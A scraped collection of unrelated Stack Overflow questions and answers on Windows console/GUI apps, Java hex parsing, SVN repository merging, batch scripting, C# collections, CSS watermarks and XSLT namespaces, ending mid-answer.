<p>Raymond Chen recently posted (a month after the question was posted here on SO) a short article about this:</p> <p><a href="http://blogs.msdn.com/oldnewthing/archive/2009/01/01/9259142.aspx" rel="noreferrer">How do I write a program that can be run either as a console or a GUI application?</a></p> <blockquote> <p>You can't, but you can try to fake it.</p> <p>Each PE application contains a field in its header that specifies which subsystem it was designed to run under. You can say <code>IMAGE_SUBSYSTEM_WINDOWS_GUI</code> to mark yourself as a Windows GUI application, or you can say <code>IMAGE_SUBSYSTEM_WINDOWS_CUI</code> to say that you are a console application. If you are GUI application, then the program will run without a console.</p> <p>The subsystem determines how the kernel prepares the execution environment for the program. If the program is marked as running in the console subsystem, then the kernel will connect the program's console to the console of its parent, creating a new console if the parent doesn't have a console. (This is an incomplete description, but the details aren't relevant to the discussion.) On the other hand, if the program is marked as running as a GUI application, then the kernel will run the program without any console at all.</p> </blockquote> <p>In that article he points to another by Junfeng Zhang that discusses how a couple of programs (Visual Studio and ildasm) implement this behavior:</p> <p><a href="http://blogs.msdn.com/junfeng/archive/2004/02/06/68531.aspx" rel="noreferrer">How to make an application as both GUI and Console application?</a></p> <blockquote> <p>In VisualStudio case, there are actually two binaries: devenv.com and devenv.exe. Devenv.com is a Console app. Devenv.exe is a GUI app. When you type devenv, because of the Win32 probing rule, devenv.com is executed. If there is no input, devenv.com launches devenv.exe, and exits itself. If there are inputs, devenv.com handles them as normal Console app.</p> <p>In ildasm case, there is only one binary: ildasm.exe. It is first compiled as a GUI application. Later editbin.exe is used to mark it as console subsystem. In its main method it determines if it needs to be run as console mode or GUI mode. If need to run as GUI mode, it relaunches itself as a GUI app. </p> </blockquote> <p>In the comments to Raymond Chen's article, <a href="http://blogs.msdn.com/oldnewthing/archive/2009/01/01/9259142.aspx#9262858" rel="noreferrer">laonianren</a> has this to add to Junfeng Zhang's brief description of how Visual Studio works:</p> <blockquote> <p>devenv.com is a general purpose console-mode stub application. When it runs it creates three pipes to redirect the console's stdin, stdout and stderr. It then finds its own name (usually devenv.com), replaces the ".com" with ".exe" and launches the new app (i.e. devenv.exe) using the read end of the stdin pipe and the write ends of the stdout and stderr pipes as the standard handles. Then it just sits and waits for devenv.exe to exit and copies data between the console and the pipes.</p> <p>Thus even though devenv.exe is a gui app it can read and write the "parent" console using its standard handles.</p> <p>And you could use devenv.com yourself for myapp.exe by renaming it to myapp.com. But you can't in practise because it belongs to MS.</p> </blockquote>
<p>If you want to check if your app is started from the command line in .NET, you can use <code>Console.GetCursorPosition()</code>. The reason that this works is that when you start it from the command line, the cursor moves away from the initial point (<code>(0, 0)</code>) because you typed something in the terminal (the name of the app). You can do this with an equality check (code in C#):</p> <pre><code>class Program { public static void Main { if (Console.GetCursorPosition() == (0, 0)) { //something GUI } else { //something not GUI } } } </code></pre> <p><strong>Note: You must set the output type to Console Application as other output types will make <code>Console.GetCursorPosition()</code> throw an exception.</strong></p>
44,012
<p>I am looking for a way to convert a long string (from a dump), that represents hex values into a byte array.</p> <p>I couldn't have phrased it better than the person that posted <a href="http://www.experts-exchange.com/Programming/Programming_Languages/Java/Q_21062554.html" rel="noreferrer">the same question here</a>.</p> <p>But to keep it original, I'll phrase it my own way: suppose I have a string <code>"00A0BF"</code> that I would like interpreted as the</p> <pre><code>byte[] {0x00,0xA0,0xBf} </code></pre> <p>what should I do?</p> <p>I am a Java novice and ended up using <code>BigInteger</code> and watching out for leading hex zeros. But I think it is ugly and I am sure I am missing something simple. </p>
<p>Update (2021) - <strong>Java 17</strong> now includes <a href="https://docs.oracle.com/en/java/javase/17/docs/api/java.base/java/util/HexFormat.html" rel="noreferrer"><code>java.util.HexFormat</code></a> (only took 25 years):</p> <p><code>HexFormat.of().parseHex(s)</code></p> <hr> For older versions of Java: <p>Here's a solution that I think is better than any posted so far:</p> <pre><code>/* s must be an even-length string. */ public static byte[] hexStringToByteArray(String s) { int len = s.length(); byte[] data = new byte[len / 2]; for (int i = 0; i &lt; len; i += 2) { data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) &lt;&lt; 4) + Character.digit(s.charAt(i+1), 16)); } return data; } </code></pre> <p>Reasons why it is an improvement:</p> <ul> <li><p>Safe with leading zeros (unlike BigInteger) and with negative byte values (unlike Byte.parseByte)</p> </li> <li><p>Doesn't convert the String into a <code>char[]</code>, or create StringBuilder and String objects for every single byte.</p> </li> <li><p>No library dependencies that may not be available</p> </li> </ul> <p>Feel free to add argument checking via <code>assert</code> or exceptions if the argument is not known to be safe.</p>
<p>I think will do it for you. I cobbled it together from a similar function that returned the data as a string:</p> <pre><code>private static byte[] decode(String encoded) { byte result[] = new byte[encoded/2]; char enc[] = encoded.toUpperCase().toCharArray(); StringBuffer curr; for (int i = 0; i &lt; enc.length; i += 2) { curr = new StringBuffer(""); curr.append(String.valueOf(enc[i])); curr.append(String.valueOf(enc[i + 1])); result[i] = (byte) Integer.parseInt(curr.toString(), 16); } return result; } </code></pre>
16,956
<p>I'm working on a program that is form based but I have been asked to add some command line support, this works fine apart from the form flashes up and closes down when running from the command line. Is there anyway to hide the form whilst the command line is running? Some code does refer to controls so the gui would need to be accessible but not visible, is this workable?</p>
<p>In your Main method you can create the form such as:</p> <pre><code>main = new MainForm(); </code></pre> <p>then do any command line processing required.</p> <p>When not in command line mode simply call:</p> <pre><code>Application.Run(main); </code></pre>
<p>There are a few apps that I've run across which have this behavior right from the constructor of the form class. Basically their constructor handles the command line arguments and the calls an Environment.Exit(0) when the process for the command line args has completed successfully. Calling Environment.Exit before the constructor of the form class complete effectively prevents the form from ever showing up.</p> <p>Having said that, it's error prone, and I would say that it's been to not have the form class as the startup of the app. Use another class instead which can instantiate and show the form as needed, or process the command line arguments instead.</p>
24,283
<p>So, I've been doing Java for a number of years now, but now I'm starting a C++ project. I'm trying to determine best practices for setting up said project.</p> <p>Within the project, how do you generally structure their code? Do you do it Java style with namespace folders and break up your source that way? Do you keep your public headers in an include directory for easy referencing?</p> <p>I've seen both and other ways mentioned, but what's a good method for a large project?</p> <p>Also, how do you deal with resources/folders in your application structure? It's all well and good for the final project to install with a <code>log</code> folder for storing logs, maybe a <code>lib</code> folder for library files, maybe a <code>data</code> folder for data, but how do you manage those bits within the project? Is there a way to define that so when you build the solution it constructs the structure for you? Or, do you simply have to go into your built configuration folders (Debug, Release, etc.), and construct the file structure manually, thus ensuring paths your EXE file is expecting to find are properly positioned?</p>
<p>Edit: Oh well, the question edit was made while I was typing. This is an answer to</p> <blockquote> <p>Is there a way to combine two or more repositories maintaining the version history for both?</p> </blockquote> <hr> <p>Assuming that </p> <p>The existing repositories have a structure like:</p> <ul> <li>repository root <ul> <li>branches</li> <li>tags</li> <li>trunk</li> </ul></li> </ul> <p>and you want a structure something like:</p> <ul> <li>repository root <ul> <li>projectA <ul> <li>branches</li> <li>tags</li> <li>trunk</li> </ul></li> <li>projectB <ul> <li>branches</li> <li>tags</li> <li>trunk</li> </ul></li> </ul></li> </ul> <p>Then for each of your project repositories:</p> <pre><code>svnadmin dump &gt; project&lt;n&gt;.dmp </code></pre> <p>Then for each of the dump files:</p> <pre><code>svn mkdir "&lt;repo url&gt;/project&lt;n&gt;" svnadmin load --parent-dir "project&lt;n&gt;" &lt;filesystem path to repos&gt; </code></pre> <p>More complex manipulations are possible, but this is the simplest, most straightforward. Changing the source repository structure during a dump/load is hazardous, but doable through a combination of <code>svnadmin dump</code>, <code>svndumpfilter</code>, hand-editing or additional text filters and <code>svnadmin load</code></p> <hr> <p><strong>Dealing with a third party provider</strong></p> <ul> <li>Request <code>svnadmin dump</code> files for each of your repositories. The provider should be willing/able to provide this - it <em>is</em> <strong>your</strong> code!</li> <li>Create an SVN repository locally.</li> <li>Perform the actions listed above for the dump files.</li> <li>Verify the repository structure is correct with your favorite client.</li> <li>Create a dump file for the combined repositories.</li> <li>Request that the provider populate a new repository from this dump file.</li> </ul> <p>YMMV: This seems to be a reasonable approach, but I've never worked with a third party provider like this.</p>
<p>The other answers for this question enabled me to make the script below. Adapt the REPOS map for your case. Also, you may want to move the tags and branches into a "preaggregate" directory in stead of directly into the new branches and trunk.</p> <pre><code>#!/bin/bash NEWREPO=$(pwd)/newrepo NEWREPOCO="${NEWREPO}_co" DUMPS=repodumps REV="0:HEAD" REPOROOT=/data/svn/2.2.1/repositories/ TOOLDIR=/opt/svn/2.2.1/bin/ PATH=${PATH}:${TOOLDIR} # Old Repository mapping declare -A REPOS=( [BlaEntityBeans]='( [newname]="EntityBeans" )' [OldServletRepoServlet]='( [newname]="SpreadsheetImportServlet" )' [ExperimentalMappingXML]='( [newname]="SpreadsheetMappingXML" )' [NewImportProcess]='( [newname]="SpreadsheetImportProcess" )' ) dump() { rm -fr ${DUMPS} mkdir ${DUMPS} for repo in "${!REPOS[@]}" do local dumpfile=${DUMPS}/${repo}.dmp echo "Dumpimg Repo ${repo} to ${dumpfile}" svnadmin dump -r ${REV} ${REPOROOT}/${repo} &gt; ${dumpfile} done } loadRepos() { # new big repo rm -fr ${NEWREPO} svnadmin create ${NEWREPO} svn mkdir file:///${NEWREPO}/trunk -m "" svn mkdir file:///${NEWREPO}/branches -m "" svn mkdir file:///${NEWREPO}/tags -m "" # add the old projects as modules for currentname in "${!REPOS[@]}" do declare -A repo=${REPOS[$currentname]} local newname=${repo[newname]} echo "Loading repo ${currentname} soon to be ${newname}" dumpfile=${DUMPS}/${currentname}.dmp # import the current repo into a trmporary root position svn mkdir file:///${NEWREPO}/${currentname} -m "Made module ${currentname}" svnadmin load --parent-dir ${currentname} ${NEWREPO} &lt; ${dumpfile} # now move stuff arround # first rename to new repo svn move file:///${NEWREPO}/${currentname} file:///${NEWREPO}/${newname} -m "Moved ${currentname} to ${newname}" # now move trunk, branches and tags for vc in {trunk,branches,tags} do echo "Moving the current content of $vc into ${NEWREPO}/${vc}/${newname}" svn move file:///${NEWREPO}/${newname}/${vc} file:///${NEWREPO}/${vc}/${newname} -m "Done by $0" done svn rm file:///${NEWREPO}/${newname} -m "Removed old ${newname}" done } dump loadRepos </code></pre>
33,522
<p>I have a Monoprice Select Mini v2 and it came with a 256 MB SD card. I have a bunch of 16 GB cards. I have made sure that the new SD card has a FAT32 filesystem. I copy the gcode file onto this card and when I put it in the printer, it can't find any files!</p> <p>And yes, the file is at the root level of the filesystem and it uses the proper naming convention. The file works on the old card.</p> <p>Since the old card still works, this isn't an emergency, but I want to have a backup and I don't have any other cards that small.</p>
<p>Unfortunately, the answer isn't as simple as that a specific size of SD card works and another size doesn't. The <a href="https://github.com/MarlinFirmware/Marlin/wiki/SD-cards" rel="nofollow noreferrer">Marlin firmware wiki</a> mentions:</p> <blockquote> <p>The SD- or MMC- Card must be formatted as FAT and must have a MMC interface. This is more likely with cards &lt;= 2&nbsp;GB.</p> </blockquote> <p>MMC is the predecessor of SD. SD cards are <em>not</em> necessarily fully backwards compatible with MMC. Apparently, Marlin uses some features specific to MMC, so your card should support it.</p> <p>The SD card support in Marlin is based on the <a href="https://www.arduino.cc/en/Reference/SD" rel="nofollow noreferrer">Arduino SD Card Library</a>, which further mentions:</p> <blockquote> <p>The library supports FAT16 and FAT32 file systems on standard SD cards and SDHC cards.</p> </blockquote> <p>Based on this:</p> <ul> <li><p>Cards should be formatted FAT16 or FAT32.</p></li> <li><p>Cards bigger than 32&nbsp;GB definitely won't work (not SD or SDHC).</p></li> <li><p>Cards at most 2&nbsp;GB will probably work.</p></li> <li><p>Cards between 2&nbsp;GB and 32&nbsp;GB <em>might</em> work, depending on the specifics of the card.</p></li> </ul>
<p>The maximum size is 32 GB, however using microSD has a little disadvantage:</p> <ol> <li><p>The microSD adapter and Micro memory are wrong assembled and the chip are unable to be read.</p> <p>Solution: stick with a tape adhesive to keep Micro memory and SD adapter well aligned</p> </li> <li><p>The SD adapter can't be read on the 3D printer</p> <p>Solution: Add an extra tape adhesive over the SD adapter just like sticker, to make tight the assembly inside the reader.</p> </li> </ol> <p>Clean the contacts of the SD adapter, normally has the same issue like nintendo cartridge.</p> <p>I´m planning to get a bunch of SD cards instead microSD's, none of SD 8 GB and 16 GB are failing due wrong contact assembly.</p>
785
<p>How to to configure apache + mod_lisp + clisp and set up a "Hello World!"? I couldn't find any complete howto on the subject. Thanks.</p> <p>Edit: Vebjorn's solution works, but then I don't how to code the "hello world!". Can anyone tell me how to proceed? There's something like SWANKing the clisp, then connect to it with SLIME, but then when I launch mod_lisp's demo, the test page is not served and my slime doesn't return?</p> <p>Thanks again.</p>
<ol> <li>Download <a href="http://www.fractalconcept.com:8000/public/open-source/mod_lisp/mod_lisp.c" rel="noreferrer">http://www.fractalconcept.com:8000/public/open-source/mod_lisp/mod_lisp.c</a> <ul> <li>Compile and install Apache module with <code>sudo apxs -i -c mod_lisp.c</code></li> <li>Add the following to your <code>httpd.conf</code>: <pre> LoadModule lisp_module libexec/httpd/mod_lisp.so AddModule mod_lisp.c LispServer 127.0.0.1 3000 "foo" &lt;Location /foo&gt; SetHandler lisp-handler &lt;/Location&gt; </pre></li> </ul></li> <li>Restart apache with <code>sudo apachectl restart</code> <ul> <li>Download example of Lisp-side handling in CLISP: <a href="http://www.fractalconcept.com/fcweb/download/modlisp-clisp.lisp" rel="noreferrer">http://www.fractalconcept.com/fcweb/download/modlisp-clisp.lisp</a></li> </ul></li> <li><p>Start CLISP and evaluate:</p> <pre> (load "modlisp-clisp") (modlisp:modlisp-server) </pre></li> <li><p>Point your browser to <a href="http://localhost/foo" rel="noreferrer">http://localhost/foo</a>. You should see:</p></li> </ol> <blockquote> <p>mod_lisp 2.0</p> <p>This is a constant html string sent by mod_lisp 2.0 + CLISP + apache + Linux</p> </blockquote>
<p><a href="http://www.newartisans.com/blog_files/common.lisp.with.apache.php" rel="nofollow noreferrer">This article</a> seems to be a fairly thorough "how-to" guide to set up Common Lisp on Apache using mod_lisp2.</p> <blockquote> <p>If all has gone as planned, you should now have a Common Lisp app server running behind Apache</p> </blockquote>
23,115
<p>Is there any way to find out if a file is a directory?</p> <p>I have the file name in a variable. In Perl I can do this:</p> <pre><code>if(-d $var) { print "it's a directory\n" } </code></pre>
<p>You can do it like so:</p> <pre><code>IF EXIST %VAR%\NUL ECHO It's a directory </code></pre> <p>However, this only works for directories without spaces in their names. When you add quotes round the variable to handle the spaces it will stop working. To handle directories with spaces, convert the filename to short 8.3 format as follows:</p> <pre><code>FOR %%i IN (%VAR%) DO IF EXIST %%~si\NUL ECHO It's a directory </code></pre> <p>The <code>%%~si</code> converts <code>%%i</code> to an 8.3 filename. To see all the other tricks you can perform with <code>FOR</code> variables enter <code>HELP FOR</code> at a command prompt.</p> <p>(Note - the example given above is in the format to work in a batch file. To get it work on the command line, replace the <code>%%</code> with <code>%</code> in both places.)</p>
<p>Can't we just test with this : </p> <pre><code>IF [%~x1] == [] ECHO Directory </code></pre> <p>It seems to work for me.</p>
16,820
<p>I have a class that contains a list of objects. What's the best way to run some code in the class when the list is modified?</p> <pre><code>class MyManagerClass { ArrayList list = new ArrayList(); // will likely be a different collection class private OnItemAddedToList(object o) { // how to call this? } private OnItemRemovedFromList(object o) { // how to call this? } } </code></pre>
<p>The method I've been using so far is to make a private collection class derived from <code>System.Collections.ObjectModel.Collection&lt;T&gt;</code>, and call the methods directly in the overrides:</p> <pre><code>class MyManagerClass { private class MyCollection : System.Collections.ObjectModel.Collection&lt;object&gt; { private MyManagerClass manager; private MyCollection(MyManagerClass manager) { this.manager = manager; } protected override void InsertItem(int index, object item) { base.InsertItem(index, item); manager.OnItemAddedToList(item); } protected override void SetItem(int index, object item) { object oldItem = (index &lt; base.Count) ? base[index] : null; base.SetItem(index, item); if (oldItem != null) { manager.OnItemRemovedFromList(oldItem); } manager.OnItemAddedToList(item); } protected override void RemoveItem(int index, object item) { base.RemoveItem(index, item); manager.OnItemRemovedFromList(item); } } private OnItemAddedToList(object o) { } private OnItemRemovedFromList(object o) { } } </code></pre> <p>I'm not sure if this is the <em>right</em> way to do it though and I'd like to see if there are any better alternatives.</p>
<p>Personally I'd implement <code>IList&lt;T&gt;</code>, in a class that has <code>Added</code>, <code>Removed</code> and <code>Replaced</code> events/delegates. The class would have a private instance member of type <code>List&lt;T&gt;</code> that all implemented calls would delegate to, as well as raising the events.</p> <p>You could additionally have <code>OnBefore...</code>, <code>OnAfter</code> if you prefer, allowing you to "cancel" the addition/removal of elements.</p> <p>This is typically how it's done, but like mookid said, there are probably existing libraries out there that do a similar thing. The <code>DataTable</code> class implements a similar concept with the <code>DataRow</code> class, including addition, removal and updating.</p> <p>You could combine the concepts so that items added to the collection can raise <code>OnChanged</code> events that "bubble" up to the collection and can be used to re-raised a <code>ItemChanged</code> event on the collection.</p>
48,500
<p>I wish to build a compiler (GCC port) for Linux, so that the built GCC runs on Windows and creates executables for an embedded platform.</p> <p>Is the above possible?</p>
<p>Yes, it is possible. </p> <p>It also utterly painful to try to do this yourself -- it is OK on Linux, mostly, but very tricky on Windows. My suggestion is to see if some ready-built compiler from a place like DENX.de, CodeSourcery, or the manufacturer of your embedded platform is available. </p> <p>I have become a huge fan of the <a href="http://www.codesourcery.com" rel="nofollow noreferrer">CodeSourcery</a> compilers for platforms like MIPS and Power Architecture. They tend to come with variants for big- and little-endian, various Libc flavors, and to have both bare-metal and linux-target versions available. See <a href="http://www.codesourcery.com/gnu_toolchains/sgpp/editions.html#lite" rel="nofollow noreferrer">their pages about their Lite edition</a></p> <p>Building your own cross-compiler and toolset is a right pain. </p> <p>If your target is running Linux, I suggest doing your cross-work on a Linux box as well, saving you plenty of pain. I use VmWare for that express purpose. You cannot expect to build a Linux for a target on Windows, for example.</p>
<p>You have to build GCC on Windows using MinGW or Cygwin for your target platform (e.g. ARM little endian).</p>
45,377
<p>Let's say I have a container (std::vector) of pointers used by a multi-threaded application. When adding new pointers to the container, the code is protected using a critical section (boost::mutex). All well and good. The code should be able to return one of these pointers to a thread for processing, but another separate thread could choose to delete one of these pointers, which might still be in use. e.g.:</p> <pre><code>thread1() { foo* p = get_pointer(); ... p-&gt;do_something(); } thread2() { foo* p = get_pointer(); ... delete p; } </code></pre> <p>So thread2 could delete the pointer whilst thread1 is using it. Nasty.</p> <p>So instead I want to use a container of Boost shared ptrs. IIRC these pointers will be reference counted, so as long as I return shared ptrs instead of raw pointers, removing one from the container WON'T actually free it until the last use of it goes out of scope. i.e.</p> <pre><code>std::vector&lt;boost::shared_ptr&lt;foo&gt; &gt; my_vec; thread1() { boost::shared_ptr&lt;foo&gt; sp = get_ptr[0]; ... sp-&gt;do_something(); } thread2() { boost::shared_ptr&lt;foo&gt; sp = get_ptr[0]; ... my_vec.erase(my_vec.begin()); } boost::shared_ptr&lt;foo&gt; get_ptr(int index) { lock_my_vec(); return my_vec[index]; } </code></pre> <p>In the above example, if thread1 gets the pointer before thread2 calls erase, will the object pointed to still be valid? It won't actually be deleted when thread1 completes? <strong>Note that access to the global vector will be via a critical section.</strong></p> <p>I think this is how shared_ptrs work but I need to be sure.</p>
<p>For the threading safety of boost::shared_ptr you should check <a href="http://www.boost.org/doc/libs/1_36_0/libs/smart_ptr/shared_ptr.htm#ThreadSafety" rel="nofollow noreferrer">this link</a>. It's not guarantied to be safe, but on many platforms it works. Modifying the std::vector is not safe AFAIK.</p>
<p>If in addition, you synchronize the accesses to the vector (as in your original raw pointer proposal), your usage is safe. Otherwise, you may fall foul of example 4 in the link provided by the other respondent. </p>
13,947
<p>Whilst trying to get our app working in Firefox (I'm a big proponent of X-Browser support but our lead dev is resisting me saying IE is good enough). So I'm doing a little side project to see how much work it is to convert.</p> <p>I've hit a problem straight away.</p> <p>The main.aspx page binds to a webservice using the IE only method of adding behaviour through a htc file, which is auto-generated by VS I beleive.</p> <p> </p> <p>Firefox doesn't support this but there is an xml bindings file which can be used to enable htc support (see here: <a href="http://dean.edwards.name/moz-behaviors/overview/" rel="nofollow noreferrer">http://dean.edwards.name/moz-behaviors/overview/</a>). The examples work in FF3 but when I use my webservice.htc as I normally would e.g.:</p> <pre><code>//Main.aspx /*SNIP*/ &lt;style type="text/css" media="all"&gt; #webservice { behavior:url(webservice.htc); -moz-binding:url(bindings.xml#webservice.htc); } &lt;/style&gt; &lt;/head&gt; &lt;body&gt; &lt;div id="webservice"&gt;&lt;/div&gt; &lt;!-- we use this div to load the webservice stuff --&gt; /*SNIP*/ //Main.js webservice.useService(url + asmpath + "/WebServiceWrapper.asmx?WSDL","WebServiceWrapper"); </code></pre> <p>I get webservice is not defined (works fine in IE), I obviously tried</p> <pre><code>var webservice = document.getElementById("webservice") </code></pre> <p>and </p> <pre><code>$("#webservice").useService(url + asmpath + "/WebServiceWrapper.asmx?WSDL","WebServiceWrapper"); </code></pre> <p>as well which just gives me "useService is not defined" in Firebug. Which leads me to beleive that the binding is not working. However I can see that webservice.htc is being loaded by Firefox in the Firebug console window.</p> <p>Anyone got any experience of this?</p> <p>Am I going to have to rewrite how the webservice is called?</p> <p>Cheers, Rob</p>
<p>I don't think that you are on the right way for achieving real cross-browser compatibility. Adding support for IE-specific features for Firefox is definitely <strong>not</strong> the way to go. What about Opera, Safari, Chrome...? If the app you're working on is used strictly on the intranet then supporting Firefox may be enough however...</p> <p>IMHO, the code should be refactored, but in an other way. If you are working with ASP.NET 2.0 (in this case you'd need ASP.NET Ajax) or newer, you can create proxy between Ajax and SOAP web services. In that case you would need to rewrite all your behaviors as a JavaScript code which may not be a small feat.</p> <p>On a side note: AFAIK VS.NET does not generate behaviors.</p> <p>Sorry if this is not too helpful :(</p>
<p>Your jQuery snippet has an error: since <code>useService</code> is a method defined on the node itself, not the jQuery object, you'd have to do:</p> <pre><code>$("#webservice")[0].useService(url + asmpath + "/WebServiceWrapper.asmx?WSDL","WebServiceWrapper"); </code></pre>
31,580
<p>I am a C++/C# developer and never spent time working on web pages. I would like to put text (randomly and diagonally perhaps) in large letters across the background of some pages. I want to be able to read the foreground text and also be able to read the "watermark". I understand that is probably more of a function of color selection. </p> <p>I have been unsuccessful in my attempts to do what I want. I would imagine this to be very simple for someone with the web design tools or html knowledge. </p>
<pre><code>&lt;style type="text/css"&gt; #watermark { color: #d0d0d0; font-size: 200pt; -webkit-transform: rotate(-45deg); -moz-transform: rotate(-45deg); position: absolute; width: 100%; height: 100%; margin: 0; z-index: -1; left:-100px; top:-200px; } &lt;/style&gt; </code></pre> <p>This lets you use just text as the watermark - good for dev/test versions of a web page.</p> <pre><code>&lt;div id="watermark"&gt; &lt;p&gt;This is the test version.&lt;/p&gt; &lt;/div&gt; </code></pre>
<p>You could make an image with the watermark and then set the image as the background via css.</p> <p>For example:</p> <pre><code>&lt;style type="text/css"&gt; .watermark{background:url(urltoimage.png);} &lt;/style&gt; &lt;div class="watermark"&gt; &lt;p&gt;this is some text with the watermark as the background.&lt;/p&gt; &lt;/div&gt; </code></pre> <p>That should work.</p>
9,407
<p>I am receiving a 3rd party feed of which I cannot be certain of the namespace so I am currently having to use the local-name() function in my XSLT to get the element values. However I need to get an attribute from one such element and I don't know how to do this when the namespaces are unknown (hence need for local-name() function).</p> <p>N.B. I am using .net 2.0 to process the XSLT</p> <p>Here is a sample of the XML:</p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt; &lt;feed xmlns="http://www.w3.org/2005/Atom"&gt; &lt;id&gt;some id&lt;/id&gt; &lt;title&gt;some title&lt;/title&gt; &lt;updated&gt;2008-09-11T15:53:31+01:00&lt;/updated&gt; &lt;link rel="self" href="http://www.somefeedurl.co.uk" /&gt; &lt;author&gt; &lt;name&gt;some author&lt;/name&gt; &lt;uri&gt;http://someuri.co.uk&lt;/uri&gt; &lt;/author&gt; &lt;generator uri="http://aardvarkmedia.co.uk/"&gt;AardvarkMedia script&lt;/generator&gt; &lt;entry&gt; &lt;id&gt;http://soemaddress.co.uk/branded3/80406&lt;/id&gt; &lt;title type="html"&gt;My Ttile&lt;/title&gt; &lt;link rel="alternate" href="http://www.someurl.co.uk" /&gt; &lt;updated&gt;2008-02-13T00:00:00+01:00&lt;/updated&gt; &lt;published&gt;2002-09-11T14:16:20+01:00&lt;/published&gt; &lt;category term="mycategorytext" label="restaurant"&gt;Test&lt;/category&gt; &lt;content type="xhtml"&gt; &lt;div xmlns="http://www.w3.org/1999/xhtml"&gt; &lt;div class="vcard"&gt; &lt;p class="fn org"&gt;some title&lt;/p&gt; &lt;p class="adr"&gt; &lt;abbr class="type" title="POSTAL" /&gt; &lt;span class="street-address"&gt;54 Some Street&lt;/span&gt; , &lt;span class="locality" /&gt; , &lt;span class="country-name"&gt;UK&lt;/span&gt; &lt;/p&gt; &lt;p class="tel"&gt; &lt;span class="value"&gt;0123456789&lt;/span&gt; &lt;/p&gt; &lt;div class="geo"&gt; &lt;span class="latitude"&gt;51.99999&lt;/span&gt; , &lt;span class="longitude"&gt;-0.123456&lt;/span&gt; &lt;/div&gt; &lt;p class="note"&gt; &lt;span class="type"&gt;Review&lt;/span&gt; &lt;span class="value"&gt;Some content&lt;/span&gt; &lt;/p&gt; &lt;p class="note"&gt; &lt;span class="type"&gt;Overall rating&lt;/span&gt; &lt;span class="value"&gt;8&lt;/span&gt; &lt;/p&gt; &lt;/div&gt; &lt;/div&gt; &lt;/content&gt; &lt;category term="cuisine-54" label="Spanish" /&gt; &lt;Point xmlns="http://www.w3.org/2003/01/geo/wgs84_pos#"&gt; &lt;lat&gt;51.123456789&lt;/lat&gt; &lt;long&gt;-0.11111111&lt;/long&gt; &lt;/Point&gt; &lt;/entry&gt; &lt;/feed&gt; </code></pre> <p>This is XSLT</p> <pre><code>&lt;?xml version="1.0" encoding="UTF-8" ?&gt; &lt;xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:wgs="http://www.w3.org/2003/01/geo/wgs84_pos#" exclude-result-prefixes="atom wgs"&gt; &lt;xsl:output method="xml" indent="yes"/&gt; &lt;xsl:key name="uniqueVenuesKey" match="entry" use="id"/&gt; &lt;xsl:key name="uniqueCategoriesKey" match="entry" use="category/@term"/&gt; &lt;xsl:template match="/"&gt; &lt;locations&gt; &lt;!-- Get all unique venues --&gt; &lt;xsl:for-each select="/*[local-name()='feed']/*[local-name()='entry']"&gt; &lt;xsl:variable name="CurrentVenueKey" select="*[local-name()='id']" &gt;&lt;/xsl:variable&gt; &lt;xsl:variable name="CurrentVenueName" select="*[local-name()='title']" &gt;&lt;/xsl:variable&gt; &lt;xsl:variable name="CurrentVenueAddress1" select="*[local-name()='content']/*[local-name()='div']/*[local-name()='div']/*[local-name()='p'][@class='adr']/*[local-name()='span'][@class='street-address']" &gt;&lt;/xsl:variable&gt; &lt;xsl:variable name="CurrentVenueCity" select="*[local-name()='content']/*[local-name()='div']/*[local-name()='div']/*[local-name()='p'][@class='adr']/*[local-name()='span'][@class='locality']" &gt;&lt;/xsl:variable&gt; &lt;xsl:variable name="CurrentVenuePostcode" select="*[local-name()='postcode']" &gt;&lt;/xsl:variable&gt; &lt;xsl:variable name="CurrentVenueTelephone" select="*[local-name()='telephone']" &gt;&lt;/xsl:variable&gt; &lt;xsl:variable name="CurrentVenueLat" select="*[local-name()='Point']/*[local-name()='lat']" &gt;&lt;/xsl:variable&gt; &lt;xsl:variable name="CurrentVenueLong" select="*[local-name()='Point']/*[local-name()='long']" &gt;&lt;/xsl:variable&gt; &lt;xsl:variable name="CurrentCategory" select="WHATDOIPUTHERE"&gt;&lt;/xsl:variable&gt; &lt;location&gt; &lt;locationName&gt; &lt;xsl:value-of select = "$CurrentVenueName" /&gt; &lt;/locationName&gt; &lt;category&gt; &lt;xsl:value-of select = "$CurrentCategory" /&gt; &lt;/category&gt; &lt;description&gt; &lt;xsl:value-of select = "$CurrentVenueName" /&gt; &lt;/description&gt; &lt;venueAddress&gt; &lt;streetName&gt; &lt;xsl:value-of select = "$CurrentVenueAddress1" /&gt; &lt;/streetName&gt; &lt;town&gt; &lt;xsl:value-of select = "$CurrentVenueCity" /&gt; &lt;/town&gt; &lt;postcode&gt; &lt;xsl:value-of select = "$CurrentVenuePostcode" /&gt; &lt;/postcode&gt; &lt;wgs84_latitude&gt; &lt;xsl:value-of select = "$CurrentVenueLat" /&gt; &lt;/wgs84_latitude&gt; &lt;wgs84_longitude&gt; &lt;xsl:value-of select = "$CurrentVenueLong" /&gt; &lt;/wgs84_longitude&gt; &lt;/venueAddress&gt; &lt;venuePhone&gt; &lt;phonenumber&gt; &lt;xsl:value-of select = "$CurrentVenueTelephone" /&gt; &lt;/phonenumber&gt; &lt;/venuePhone&gt; &lt;/location&gt; &lt;/xsl:for-each&gt; &lt;/locations&gt; &lt;/xsl:template&gt; &lt;/xsl:stylesheet&gt; </code></pre> <p>I'm trying to replace the $CurrentCategory variable the appropriate code to display <em>mycategorytext</em></p>
<p>I don't have an XSLT editor here, but have you tried using</p> <pre><code>*[local-name()='category']/@*[local-name()='term'] </code></pre>
<p>I'm not really sure why you have to use local-name(), but if you share a little more info as to what xslt processor you are using along with the language, I'll be that can be figured out. I say this b/c you should be able to do something like:</p> <pre><code>&lt;xsl:stylesheet xmlns="http://www.w3.org/2005/Atom" ..&gt; &lt;xsl:template match="feed"&gt; &lt;xsl:apply-templates /&gt; &lt;/xsl:template&gt; &lt;xsl:template match="entry"&gt; ... &lt;xsl:variable name="current-category" select="category/@term" /&gt; ... &lt;/xsl:template&gt; </code></pre> <p>The two things I'm hoping help you out are the xmlns declaration at the top without a prefix. That sets the default namespace so you don't have to use the namespace prefixes. Likewise, you could call do 'xmlns:a="http://www.w3.org/2005/Atom"' and then do 'select="a:feed"'. The other thing to notice is using the '@term' which selects attributes. If you wanted to match on any attribute '@*' works just like it would for elements. </p> <p>Again, depending on the processor, there might be other helpful tools at your disposal so if you can provide a little more information it might help. Also, the <a 